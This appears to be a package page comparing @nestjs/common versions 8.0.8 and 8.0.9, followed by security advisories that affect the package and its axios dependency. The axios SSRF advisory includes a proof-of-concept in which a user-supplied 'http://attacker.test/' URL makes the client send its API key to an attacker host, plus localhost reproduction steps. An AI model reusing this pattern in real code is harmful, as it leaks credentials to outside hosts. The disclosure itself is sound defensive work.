@nestjs/common is a fundamental package within the NestJS framework, a popular choice for building efficient and scalable Node.js server-side applications. Comparing version 8.0.9 with the preceding stable version 8.0.8 reveals subtle but important differences for developers. Both versions share the same core dependencies like uuid, axios, tslib, and iterare, ensuring feature parity in areas these libraries support. The peer dependencies, crucial for NestJS's modular architecture, remain consistent, requiring rxjs, cache-manager, class-validator, reflect-metadata, and class-transformer. This signifies that upgrading from 8.0.8 to 8.0.9 shouldn't introduce conflicts with existing projects reliant on specific versions of these peer dependencies.
The licensing, repository, author, and funding information remains the same, indicating no organizational or support changes. However, a key difference lies in the dist section. While both versions contain 342 files, the unpackedSize increases marginally from 352131 to 352134 bytes. This suggests minor code additions or optimizations. The releaseDate is another clear change, with version 8.0.9 being released on 2021-09-30, two days after 8.0.8. These subtle changes are important for developers concerned with backward compatibility and stability. While the changes likely involve minor bug fixes, performance improvements or potentially small new features, a careful look at the complete changelog is recommended before upgrading.
All the vulnerabilities related to the version 8.0.9 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.